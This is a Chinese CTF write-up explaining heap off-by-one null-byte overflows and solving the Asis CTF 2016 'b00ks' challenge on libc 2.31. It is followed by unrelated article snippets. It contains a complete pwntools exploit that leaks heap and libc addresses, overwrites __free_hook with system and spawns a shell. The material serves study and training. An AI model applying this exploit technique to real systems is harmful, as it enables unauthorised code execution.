CTF-PWN-堆- 【off-by-one】

文章目录

  • 堆的off-by-one
  • 利用思路
  • Asis CTF 2016 b00ks libc 2.31
  • IDA源码
    • main
    • 输入名字
    • creat函数
    • dele函数
    • edit函数
    • print函数
    • reeditor name函数
  • 思路
  • exp
    • 思路

堆的off-by-one

off-by-one指的是单字节缓冲区溢出(off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等)
写入字节时超过本身申请的一个字节

  • 循环设置错误,多写了一个字节
  • 字符串长度判断有误
    strlen()计算字符串的长度不包括空结束字符
    调用gets函数后 字符串结束符自动添加到输入字符串末尾
    strcpy拷贝时候会把空结束字符也拷贝)

利用思路

  • 当溢出部分可控制任意字节时,且溢出部分为size段时,可修改大小,进而泄露其他chunk数据或者覆盖其他块的数据

  • 当溢出部分固定为NULL字节时,且溢出部分为size段时,且size大小为0x100的整数倍时,它的低字节会被清0,同时标志位都会被清0,这样前一个chunk块会被认为free块

    (1)可以利用unlink
    (2)可以利用同时构造pre_size和对应的NULL字节溢出,然后unlink时合并,此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

注意2.28版本以后有check检查prev_size 找到的块的大小与prev_size 是否一致,2.28 及之前版本并没有该 check

/* consolidate backward */if (!prev_inuse(p)) {prevsize = prev_size (p);size += prevsize;p = chunk_at_offset(p, -((long) prevsize));/* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */if (__glibc_unlikely (chunksize(p) != prevsize))malloc_printerr ("corrupted size vs. prev_size while consolidating");unlink_chunk (av, p);}

Asis CTF 2016 b00ks libc 2.31

IDA源码

main

在这里插入图片描述

输入名字

在这里插入图片描述
在这里插入图片描述
存在溢出 *a1=0

creat函数

在这里插入图片描述
在这里插入图片描述

dele函数

在这里插入图片描述

edit函数

在这里插入图片描述

print函数

在这里插入图片描述

reeditor name函数

在这里插入图片描述

思路

三类堆块:第一类为name的,第二类为description的,第三类为存储name和description堆块相关信息的
两坨空间:off_202010和0ff_202018分别存储着偏移202060和202040的地址,偏移202060对应的是author name的,偏移202040对应的是第三类堆块的地址
在这里插入图片描述

只有接近或超过top_chunk的size(128KB=2的17次方字节即0x2000)大小时候才会使用mmap扩展.
某些版本libc和mmap分配的堆块之间的偏移是固定的。

  • 利用溢出的空字符特性,首先写入32个字节的名字,然后creat两次,第一次对应的chunk大小都为malloc分配的,且该第三类chunk地址低字节覆盖为\x00时正好对应第二类chunk的地址,第二次对应的chunk大小大于top_chunk的size从而被mmap分配,然后利用printf时\x00截断的特性能够得到第一次对应的第三类chunk的地址
  • 然后重写第一次chunk的description(第二类chunk)构造为description部分对应第二次chunk的地址的chunk,然后重写名字,将空字符覆盖到储存第一次chunk对应的第三类chunk的指针数组位置,从而实现最低位字节为\x00,进而对应了第一次chunk的第二类chunk地址,
  • 然后print,此时会输出第二次chunk对应的description的chunk的地址,由于该chunk是mmap分配的,此时版本对应的该chunk地址和libc基址距离固定,可求libc基地址,进而求__free_hook地址和system函数地址
  • 然后再重写此时的第一次chunk(已经被构造为之前第一次chunk对应的description的chunk了)的description,进而修改第二次chunk的第三类chunk中的description的chunk的地址,此时用__free_hook的地址写入,然后重写第二次chunk的description可实现修改__free_hook的内容为system函数地址
  • 再次修改第一次chunk的description的从而实现向第二次chunk的第三类的chunk的description部分写入/bin/sh,最后dele第一次的chunk从而调用到free函数且此时有参数为/bin/sh的地址

exp

from pwn import *
#context(os="linux",arch="amd64",log_level="debug")
s=process("./b00ks")
f=ELF("./b00ks")
libc=ELF("./libc-2.31.so")#gdb.attach(s,"b main")
def cre(name_size,name,description_size,description):s.recvuntil(b"> ")s.sendline(b'1')s.recvuntil(b"size: ")s.sendline(str(name_size))s.recvuntil(b"Enter book name (Max 32 chars): ")s.sendline(name)s.recvuntil(b"size: ")s.sendline(str(description_size))s.recvuntil(b"Enter book description: ")s.sendline(description)def change(name):s.recvuntil(b"> ")s.sendline(b"5")s.recvuntil(b": ")s.sendline(name)def printbook(id):s.recvuntil(b"> ")s.sendline(b'4')for i in range(id):s.recvuntil(b"ID: ")id=s.recvline()[:-1]s.recvuntil(b"Name: ")name=s.recvline()[:-1]s.recvuntil(b"Description: ")des=s.recvline()[:-1]s.recvuntil(b"A"*32)addr=s.recvline()[:-1]return name,addrdef edit(id,des):s.recvuntil(b"> ")s.sendline(b"3")s.recvuntil(b"edit: ")s.sendline(str(id))s.recvuntil(b"description: ")s.sendline(des)def dele(id):s.recvuntil(b"> ")s.sendline(b"2")s.recvuntil(b"to delete: ")s.sendline(str(id))s.recvuntil(b"name: ")
s.sendline(b"A"*32)
cre(64,b'10',32,b'10')
cre(0x21000,b"10",0x21000,b"10")name,addr=printbook(1)addr=u64(addr.ljust(8,b"\x00"))
payload=p64(1)+p64(addr+0x38)+p64(addr+0x40)+p64(0xfffffff)
edit(1,payload)
change(b"A"*32)
name,addr=printbook(1)
addr=u64(name.ljust(8,b'\x00'))
libc_base=addr+0x21ff0
free_hook_addr=libc.sym["__free_hook"]+libc_base
payload=p64(free_hook_addr)
edit(1,payload)
systemaddr=libc.sym["system"]+libc_base
edit(2,p64(systemaddr))
payload=b"/bin/sh".ljust(8,b"\x00")
edit(1,payload)
dele(1)
print(hex(addr+0x40))
print(hex(free_hook_addr))
print(hex(systemaddr))
s.interactive()

思路

1.利用IDA偏移加上vmmap命令得到的基址可得(或利用pwngdb 中的search命令搜索字符串从而知道位置)
2得知printf截断特性和原chunk写入时覆盖底地址为\x00(还没)
3在若覆盖生成的结构体指针对应位置伪造结构体(还没覆盖但伪造了)
4覆盖原有的结构体指针
5利用覆盖后的结构体指针
7将虚假chunk的部位设置为某位置的地址即可得到该地址的内容,再次利用printf导致泄露,从而知道函数地址
8调试看看泄露的函数地址和libc.so的基地址的偏移是否固定,进而求得其基址
9利用pwntools查找在libc.so库中找到_free_hook的偏移再加上基地址等等
10将_free_hook变量地址写到某个位置(可以将该位置存储的地址所指向的内容修改)。可修改_free_hook变量值为system函数地址,然后将free的参数对应的位置所对应的值修改为/bin/sh的地址 最后 利用free 参数即可getshell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/146460.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决公网下,k8s calico master节点无法访问node节点创建的pod

目的:解决pod部署成功后,只能在node节点访问,而master节点无法访问 原因:集群搭建时,没有配置公网进行kubectl操作,从而导致系统默认node节点,使用内网IP加入k8s集群!如下&#xff…

八股文-TCP的三次握手

TCP协议是一种面向连接、可靠传输的协议,而建立连接的过程就是著名的三次握手。这个过程保证了通信的双方能够同步信息,确保后续的数据传输是可靠和有序的。本文将深入解析TCP三次握手的步骤及其意义。 漫画TCP的三次握手 TCP连接的建立采用了三次握手的…

VSCode 使用CMakePreset找不到cl.exe编译器的问题

在用vscode开发c项目的时候,使用预先配置的CMakePresets.json可以把一些特定的cmake选项固定下来,在配置时直接使用 "cmake --config --preset presetname"就可以进行配置,免去在命令行输入过多的配置参数。 但是在vscode中&#…

Uniapp中的事件处理:uni.emit和uni.on/uni.once

介绍 在Uniapp项目中,事件处理是一种重要的通信方式。uni.emit和uni.on(以及uni.once)是Uniapp中用于实现组件间通信的两个关键方法。本文将深入介绍这两个方法,探讨它们的优势、劣势,并通过示例代码演示它们的用法。…

C++菜鸟日记2

关于getline()函数,在char和string输入的区别 参考博客 1.在char中的使用: 2.在string中的使用: 关于char字符数组拼接和string字符串拼接方法 参考博客 字符串拼接方法: 1.直接用 号 2.利用append(&#xff0…

Django——模型层补充

django中如何开启事务 # 事务的四大特性: # 简称: ACID# A: 原子性事务对数据的修改操作要么同时成功, 要么一个都别想成功(回滚)# C: 一致性事务的执行必然是从一个一致性的状态, 转变到另一个一致性的状态.# I: 隔离性对于并发的事务, 每个事务之间是互相隔离的, 互不影响的.…

如何防止图片抖动

如何防止图片抖动 什么是图片抖动,就是我们加载图片完成之后,图片显示,但是其下方内容会跟着下移,这就造成了图片抖动用户体验不好,我们想即使图片没加载出来,页面上也有一个空白的位置留给图片。 我们要知…

【观察】华为:数智世界“一触即达”,应对数智化转型“千变万化”

毫无疑问,数智化既是这个时代前进所趋,也是国家战略所指,更是所有企业未来发展进程中达成的高度共识。 但也要看到,由于大量新兴技术的出现,技术热点不停的轮转,加上市场环境的快速变化,让数智化…

Nacos 配置中心底层原理(1.X版本)

前言 Nacos 1.X版本 是长轮询 Nacos 2.X版本 是GRPC 长轮询 概念 客户端会轮询向服务端发出一个长连接请求,这个长连接最多30s就会超时,服务端收到客户端的请求会先判断当前是否有配置更新,有则立即返回,如果没有服务端会将这个…

upload-labs关卡9(基于win特性data流绕过)通关思路

文章目录 前言一、靶场需要了解的知识1::$data是什么 二、靶场第九关通关思路1、看源码2、bp抓包修改后缀名3、检查是否成功上传 总结 前言 此文章只用于学习和反思巩固文件上传漏洞知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授…

【cpolar】Ubuntu本地快速搭建web小游戏网站,公网用户远程访问

🎥 个人主页:深鱼~🔥收录专栏:cpolar🌄欢迎 👍点赞✍评论⭐收藏 目录 前言 1. 本地环境服务搭建 2. 局域网测试访问 3. 内网穿透 3.1 ubuntu本地安装cpolar 3.2 创建隧道 3.3 测试公网访问 4. 配置…

Netty Review - 从BIO到NIO的进化推演

文章目录 BIODEMO 1DEMO 2小结论单线程BIO的缺陷BIO如何处理并发多线程BIO服务器的弊端 NIONIO要解决的问题模拟NIO方案一: (等待连接时和等待数据时不阻塞)方案二(缓存Socket,轮询数据是否准备好)方案二存…

Pyrthon中pandas DataFrame对表格数据选取,修改,切片的实现

set_index()函数 在Python Pandas的数据处理中,set_index是一个非常常用的函数,它的作用就是将DataFrame中的一列或多列作为新的索引。使用set_index函数,可以快速地进行数据的筛选和重组。 如何在pandas中使用set_index( )与reset_index( )…

医院数字化LIS(检验信息系统)源码

临床检验信息管理系统(LIS)是利用计算机连接医疗设备,通过计算机信息处理技术,将医院检验科或实验室的临床检验数据进行自动收集、存储、处理、提取、传输和交换,满足所有授权用户的功能需求。 一、系统概述 1.LIS&am…

Redis篇---第五篇

系列文章目录 文章目录 系列文章目录前言一、持久化有两种,那应该怎么选择呢?二、怎么使用 Redis 实现消息队列?三、说说你对Redis事务的理解前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,…

自定义ES分词器

1 分词器的组成 ES的分词器主要由三部分组成: (1)原始文本处理-charactor filters 对原始文本进行处理。 (2)切词-tokenizer 按照规则进行切词。 (3)单词处理-token filters 将切词获取的…

Axure基础详解二十二:随机点名效果

效果演示 组件 建立一个【中继器】,内部插入一个“文本框”。【中继器】每页项目数为1,开始页为1。 设置交互 页面载入时交互 给【中继器】新曾行,“name”数据列添加10行数据,填入相应的名字;“shunxu”数据列全部…

C#与c++对应的类型 转载

//C#调用C++的DLL搜集整理的所有数据类型转换方式-转载 //c++:HANDLE(void *) ---- c#:System.IntPtr //c++:Byte(unsigned char) ---- c#:System.Byte //c++:SHORT(short) ---- c#:System.Int16 //c++:WORD(unsigned short) ---- c#:System.UInt16 //c++:INT(int) ---- c#:Sys…

黑马程序员微服务 分布式搜索引擎3

分布式搜索引擎03 0.学习目标 1.数据聚合 **聚合(aggregations)**可以让我们极其方便的实现对数据的统计、分析、运算。例如: 什么品牌的手机最受欢迎?这些手机的平均价格、最高价格、最低价格?这些手机每月的销售…

vue3.0中实现excel文件的预览

最近开发了一个需求,要求实现预览图片、pdf、excel、word、txt等格式的文件; 每种格式的文件想要实现预览的效果需要使用对应的插件,如果要实现excel格式文件的预览,要用到哪种插件呢? 答案:xlsx.full.min…